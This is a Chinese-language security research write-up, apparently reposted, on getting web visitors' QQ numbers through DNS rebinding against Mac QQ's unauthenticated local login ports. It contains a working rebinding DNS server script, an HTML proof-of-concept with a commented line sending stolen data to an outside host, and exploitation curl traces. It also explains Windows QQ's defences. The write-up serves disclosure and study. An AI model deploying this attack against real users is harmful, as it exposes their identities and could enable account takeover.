内容简介:通过 DNS Rebinding 获取访客 QQ 号
0x01 前言
在 V2EX 看到个有趣的帖子: 通过 QQ 客户端登录 Web 邮箱的身份认证漏洞 。
于是研究了一下自己 Mac 上打开 QQ 邮箱的流程,发现利用 QQ 快速登录的一些设计缺陷可以在 Web 端获取访客的 QQ 号,甚至有可能获取到访客的 clientkey 来登陆他的 QQ 邮箱、空间等(虽然最后遇到坑失败了 Orz)。
只有 Mac QQ 受影响。(文中提到的 QQ 版本: Windows QQ 轻聊版 7.9 ,Mac QQ MAS 版 5.4.1 ,文中部分参数在不影响阅读前提下经过处理)
0x02 初探
参考 How Does QQ Know Who I am ,首先看看 Mac 版 QQ 的监听端口:
$ lsof -n -P -i TCP -s TCP:LISTEN | grep 430 QQ 852 user 44u IPv4 0x31f4b01c692c6bef 0t0 TCP 127.0.0.1:4300 (LISTEN) QQ 852 user 45u IPv4 0x31f4b01c692c59ff 0t0 TCP 127.0.0.1:4301 (LISTEN)
可以看到 QQ 默认监听了本地的 4300 和 4301 端口,这两个端口的区别就是前者是 HTTP 协议而后者是 HTTPS 的。
用户在网页端使用快速登录时,会先对这两个端口中的一个进行请求获取当前登陆的 QQ 号(多个 QQ 号的信息会一同返回):
http://localhost.ptlogin2.qq.com:4300/pt_get_uins?callback=ptui_getuins_CB&pt_local_tk=123 https://localhost.ptlogin2.qq.com:4301/pt_get_uins?callback=ptui_getuins_CB&pt_local_tk=123
测试发现 QQ 空间和邮箱的客户端快速登录用的是 4031 端口,而 www.qq.com 官网弹出的快速登录窗口用的又是 4300 端口,不明白为什么不统一使用更安全的 4031 端口。
如果没有从这两个默认端口获取到信息,快速登录的 SDK 会更换端口进行重试。比如接下来请求的 HTTP 的端口会依次是 4300、4302、4304、4306… HTTPS 的端口会依次是 4301、4303、4305、4307…
参考 QQ模拟登录实现后篇 ,重试请求最多五次。
在本机用 curl 模拟请求这个接口:
$ curl -v http://127.0.0.1:4300/pt_get_uins\?callback\=ptui_getuins_CB
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 4300 (#0)
> GET /pt_get_uins?callback=ptui_getuins_CB HTTP/1.1
> Host: 127.0.0.1:4300
> User-Agent: curl/7.51.0
>
< HTTP/1.1 200 OK
< Date: Tue, 13 Jun 2017 11:50:47 GMT
< Accept-Ranges: bytes
< Content-Length: 185
< Content-Type: Application/javascript
<
* Curl_http_done: called premature == 0
* Connection #0 to host 127.0.0.1 left intact
var var_sso_uin_list=[{"account":"123456","client_type":65793,"face_index":540,"gender":
1,"nickname":"Test","uin":"123456","uin_flag":12345678}];ptui_getuins_CB(var_sso_uin_list);
$ curl -v https://127.0.0.1.xip.io:4301/pt_get_uins\?callback\=ptui_getuins_CB -k
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1.xip.io (127.0.0.1) port 4301 (#0)
* TLS 1.2 connection using TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
* Server certificate: localhost.ptlogin2.qq.com
* Server certificate: GlobalSign Organization Validation CA - SHA256 - G2
* Server certificate: GlobalSign Root CA
> GET /pt_get_uins?callback=ptui_getuins_CB HTTP/1.1
> Host: 127.0.0.1.xip.io:4301
> User-Agent: curl/7.51.0
>
< HTTP/1.1 200 OK
< Date: Tue, 13 Jun 2017 11:33:07 GMT
< Accept-Ranges: bytes
< Content-Length: 185
< Content-Type: Application/javascript
<
* Curl_http_done: called premature == 0
* Connection #0 to host 127.0.0.1.xip.io left intact
var var_sso_uin_list=[{"account":"123456","client_type":65793,"face_index":540,"gender":
1,"nickname":"Test","uin":"123456","uin_flag":12345678}];ptui_getuins_CB(var_sso_uin_list);
可以看到无论是 4300 和 4301 端口都“来者不拒”,并未做任何验证,这与 Windows 版 QQ 有很大区别。我们能不能利用它搞点事情呢?
不过和之前出现在百度的安卓 SDK 的 WormHole 漏洞不一样,QQ 监听的是本地端口,所以从外部是无法访问的。
所以如果想从 Web 发送请求到 127.0.0.1(localhost.ptlogin2.qq.com),肯定会被 同源策略(SOP) 给拦截掉。
0x03 DNS Rebinding
思考了一下绕过 SOP 的方法,想起来去年 SSRF 火热的时候流行的一个手段—— DNS Rebinding 。
可以参考 Ricterz 的用 DNS Rebinding 绕过域名 IP 校验的文章: Use DNS Rebinding to Bypass IP Restriction 。
同理我们也可以试着用 DNS Rebinding 欺骗浏览器从而绕过 SOP。
具体操作参考 关于 DNS-rebinding 的总结 。
先准备一个域名 xxx.net ,添加一条 NS 记录 和 A 记录 :
A 记录表示域名 ns.xxx.net 的 IP 地址是 45.77.11.22 。
NS 记录表示 rebind.xxx.net 这个子域名指定由 ns.xxx.net 这个域名服务器来解析。
然后在 ns.xxx.net 上搭建我们自定义的 DNS 服务器,代码如下:
from twisted.internet import reactor, defer
from twisted.names import client, dns, error, server
record={}
class DynamicResolver(object):
def _doDynamicResponse(self, query):
name = query.name.name
if name not in record or record[name]<1:
ip = "45.77.11.22"
else:
ip = "127.0.0.1"
if name not in record:
record[name] = 0
record[name] += 1
print name + " ===> " + ip
answer = dns.RRHeader(
name = name,
type = dns.A,
cls = dns.IN,
ttl = 0,
payload = dns.Record_A(address = b'%s' % ip, ttl=0)
)
answers = [answer]
authority = []
additional = []
return answers, authority, additional
def query(self, query, timeout=None):
return defer.succeed(self._doDynamicResponse(query))
def main():
factory = server.DNSServerFactory(
clients=[DynamicResolver(), client.Resolver(resolv='/etc/resolv.conf')]
)
protocol = dns.DNSDatagramProtocol(controller=factory)
reactor.listenUDP(53, protocol)
reactor.run()
if __name__ == '__main__':
raise SystemExit(main())
需要安装 twisted 库,如果 pip install twisted 不成功的话建议下载源码包然后 python setup.py install 。
以 Root 权限运行脚本(记得打开防火墙的 53 端口),DNS 服务器就搞定了。
接着写 PoC:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Rebind Test</title>
</head>
<body>
<script src="//upcdn.b0.upaiyun.com/libs/jquery/jquery-2.0.3.min.js"></script>
<script>
function GetUin(){
$.ajax({
url: "http://rebind.xxx.net:4300/pt_get_uins?callback=hello",
type: "GET",
dataType: "text",
success: function(data){
// $.post("http://xxxx", {'qq_uin': data})}
alert(data);
}
});
}
// 让子弹飞一会儿
setTimeout("GetUin()", 3000);
</script>
</body>
</html>
保存为 index.html ,执行 python -m SimpleHTTPServer 4300 开启一个简单的 WebServer,
最后访问 http://rebind.xxx.net:4300 ,成功获得了访问用户的 QQ 信息:
此时服务器上的日志:
(因为浏览器会缓存 DNS 记录,所以测试时需要清理一下 chrome://net-internals/#dns 和 chrome://net-internals/#sockets )。
0x04 深入
文章开头 V2EX 的帖子提到用 QQ 客户端打开邮箱时会生成一个包含 clientuin 和 clientkey 的链接,任何人访问这个链接就能打开对应的 QQ 邮箱乃至 QQ 空间等其他腾讯业务。
想起来很久之前看过的一个漏洞: 你 Windows 上开着 QQ 点了我的链接我就进了你的 QQ 邮箱财付通等(任意腾讯 XSS 拿 QQ 的 clientkey) 。
这个漏洞主要是用 XSS偷 clientuin 和 clientkey,漏洞作者有提到一句话:
这个请求的 token 校验没有经过服务端验证,直接就是看 get 参数里的 pt_local_tk 是否和 cookie 中的 pt_local_token 相等
这样的话,攻击者就可以更轻松的去伪造请求让用户快速登陆。而且,理论上本机 localhost 上的任何软件都可以很轻易的伪造请求来获取当前登陆 QQ 的 clientkey
如果已经能在用户电脑上安装软件了,还用这种方法获取 clientkey 看起来多此一举。
那我们是不是也能用 DNS Rebinding 的方法得到 clientkey 呢?
继续分析快速登陆流程,获取到当前登陆的 QQ 号后,用户在页面点击自己的 QQ 头像,会请求
http://localhost.ptlogin2.qq.com:4300/pt_get_st?clientuin=123456&callback=ptui_getst_CB&pt_local_tk=123 // 或 https://localhost.ptlogin2.qq.com:4301/pt_get_st?clientuin=123456&callback=ptui_getst_CB&pt_local_tk=123
如果请求成功会返回包含 clientkey 的 Cookie。
但不幸的是这里检查了 Referer :
// 简化的请求 GET /pt_get_st?clientuin=123456&callback=ptui_getst_CB HTTP/1.1 Host: localhost.ptlogin2.qq.com:4300 Connection: close Referer: http://ptlogin2.qq.com
这个请求检查 Referer 是否来自 *.ptlogin2.qq.com 或 *.ptlogin2.qcloud.com 等腾讯自己的域名,且二级域名必须是 ptlogin2 。否则就会 400 Bad Request:
因为 JS 无法修改 Referer,所以需要一个白名单域下的 302 任意跳转或 XSS,或者浏览器层的 Referer 欺骗(如 Referrer spoofing with iframe injection )。
可惜找了一圈没找到可用的漏洞,只能先放着了。(话说呆子不开口提交漏洞报告后腾讯好像只是修复了 ui.ptlogin2.qq.com 的 XSS 漏洞,并没有对整个流程进行修改)
接着看了下 Windows 版 QQ,同样默认监听了本地的 4300 和 4301 端口:
$ netstat -an | findstr 430 TCP 127.0.0.1:4300 0.0.0.0:0 LISTENING TCP 127.0.0.1:4301 0.0.0.0:0 LISTENING
经测试 Windows 版 QQ 相比 Mac 版多了有三处变化:
- Referer 验证。Referer 必须来自于
*.qq.com、*.tencent.com、*.weiyun.com等腾讯自己的域名。 - Cookie 验证。GET 参数中的 pt_local_tk 必须与 Cookie 中的 pt_local_token 相同。
- Hostname 验证。请求头中的
Host必须是localhost.ptlogin2.qq.com。
第一个和第二个验证使从其他网站发送的 AJAX 请求无效,因为浏览器会拒绝修改 HTTP 头中的 Referer 和 Cookie :
而第三个验证会让 DNS Rebinding 失效,因为我们控制的域名不可能和 localhost.ptlogin2.qq.com 一样。
一个简化的 Windows 版 QQ 请求本地 4301 端口内容:
GET /pt_get_uins?callback=ptui_getuins_CB&pt_local_tk=123 HTTP/1.1 Host: localhost.ptlogin2.qq.com:4301 Connection: close Referer: http://test.qq.com Cookie: pt_local_token=123;
用 curl 模拟请求:
$ curl -i -v -s -k -X "GET" -H "Referer: http://test.qq.com" -b "pt_local_token=123" "https://localhost.ptlogin2.qq.com:4301/pt_get_uins?callback=ptui_getuins_CB&pt_local_tk=123" --cacert "F:\ca-bundle.crt"
* timeout on name lookup is not supported
* Trying 127.0.0.1...
* Connected to localhost.ptlogin2.qq.com (127.0.0.1) port 4301 (#0)
* ALPN, offering http/1.1
* Cipher selection: ALL:!EXPORT:!EXPORT40:!EXPORT56:!aNULL:!LOW:!RC4:@STRENGTH
* successfully set certificate verify locations:
* CAfile: F:\ca-bundle.crt
CApath: none
* TLSv1.2 (OUT), TLS header, Certificate Status (22):
* // 省略部分 TLS handshake ……
* TLSv1.2 (IN), TLS handshake, Finished (20):
* SSL connection using TLSv1.2 / AES256-GCM-SHA384
* ALPN, server did not agree to a protocol
* Server certificate:
* subject: C=CN; ST=guangdong; L=shenzhen; O=Shenzhen Tencent Computer Systems Compan
y Limited; CN=localhost.ptlogin2.qq.com
* start date: May 15 07:01:45 2017 GMT
* expire date: May 16 07:01:45 2018 GMT
* issuer: C=BE; O=GlobalSign nv-sa; CN=GlobalSign Organization Validation CA - SHA256
- G2
* SSL certificate verify result: unable to get local issuer certificate (20), continu
ing anyway.
> GET /pt_get_uins?callback=ptui_getuins_CB&pt_local_tk=123 HTTP/1.1
> Host: localhost.ptlogin2.qq.com:4301
> Cookie: pt_local_token=123
> Referer: http://test.qq.com
>
< HTTP/1.1 200 OK
< Content-Type: Application/javascript
< Content-Length: 176
<
var var_sso_uin_list=[{"account":"123456","client_type":65793,"face_index":540,"gender":
1,"nickname":"Test","uin":"123456","uin_flag":12345678}];ptui_getuins_CB(var_sso_uin_list);
如果修改 hostname,虽然 IP 都是 127.0.0.1,依然会报错。
$ curl -i -s -k -v -X "GET" -H "Referer: http://test.qq.com" -b "pt_local_token=123" "https://127.0.0.1.xip.io:4301/pt_get_uins?callback=ptui_getuins_CB&pt_local_tk=123" --cacert "F:\ca-bundle.crt * timeout on name lookup is not supported * Trying 127.0.0.1... * Connected to 127.0.0.1.xip.io (127.0.0.1) port 4301 (#0) * ALPN, offering http/1.1 * Cipher selection: ALL:!EXPORT:!EXPORT40:!EXPORT56:!aNULL:!LOW:!RC4:@STRENGTH * successfully set certificate verify locations: * CAfile: F:\ca-bundle.crt CApath: none * TLSv1.2 (OUT), TLS header, Certificate Status (22): * TLSv1.2 (OUT), TLS handshake, Client hello (1): * Unknown SSL protocol error in connection to 127.0.0.1.xip.io:4301 * Closing connection 0
有了这三个验证,从 Web 端利用这个接口获取 Windows 访客 QQ 号就行不通了。
0x05 总结
QQ Mac 版和 Windows 版在实现快速登录的流程是一样的,但具体细节明显是 Windows 版更完善。
只监听本地端口并不意味着就不会受到外部的攻击,利用 DNS Rebinding 甚至可以 攻击开发者本地的数据库 。
目前对于 DNS Rebinding 没有太好的解决办法,主流浏览器有一个DNS 阻塞( DNS pinning )的机制。简单来说,就是某些包含特定端口(如 SMTP 和 IRC)的网站一旦被加载完成,浏览器就需要忽略其 DNS 的变化。所以除了依赖浏览器,程序在接收外部请求时也要严格验证其合法性。
0x06 参考
Use DNS Rebinding to Bypass IP Restriction
你 Windows 上开着 QQ 点了我的链接我就进了你的 QQ 邮箱财付通等(任意腾讯 XSS 拿 QQ 的 clientkey)
How to steal any developer's local database以上所述就是小编给大家介绍的《通过 DNS Rebinding 获取访客 QQ 号》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- 通过正则来获取URL的参数值
- Golang:通过小程序获取微信 openid
- 通过js获取当前页面url的信息
- javascript – Backbone.Collection通过id获取模型
- 通过关键字获取漏洞平台最新漏洞信息
- 如何通过Spring Data/EntityManager/Session直接获取数据?
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Spring in Action
Craig Walls / Manning Publications / 2011-6-29 / USD 49.99
Spring in Action, Third Edition has been completely revised to reflect the latest features, tools, practices Spring offers to java developers. It begins by introducing the core concepts of Spring and......一起来看看 《Spring in Action》 这本书的介绍吧!
Base64 编码/解码
Base64 编码/解码
HSV CMYK 转换工具
HSV CMYK互换工具